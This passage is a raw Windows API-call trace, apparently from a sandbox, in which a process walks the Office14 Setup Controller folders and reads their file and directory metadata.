ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0050.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0050.166] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee0e8 [0050.166] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee0e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.166] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0050.166] NtClose (Handle=0x174) returned 0x0 [0050.166] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.167] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.167] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.167] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9f20 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeecd60 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9f40 [0050.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeece68 [0050.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.167] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.168] GetLastError () returned 0x12 [0050.168] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.168] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.168] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.168] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0050.168] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.168] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.168] GetLastError () returned 0x12 [0050.168] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.168] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.168] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.168] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.168] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0050.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0050.192] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee0e8 [0050.192] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee0e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0050.192] NtClose (Handle=0x178) returned 0x0 [0050.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.192] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.192] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.192] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.192] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9f60 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeecf70 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x540) returned 0xeee0e8 [0050.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0050.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.193] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9f80 [0050.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed078 [0050.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.193] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.193] GetLastError () returned 0x12 [0050.193] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.193] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.193] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.193] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0050.193] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.193] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.193] GetLastError () returned 0x12 [0050.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.194] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.194] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.194] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.194] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0050.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.194] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0050.216] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee630 [0050.216] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee630, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee630, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee630) returned 1 [0050.216] NtClose (Handle=0x174) returned 0x0 [0050.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.217] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.217] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.217] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9fa0 [0050.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeed180 [0050.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.217] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, 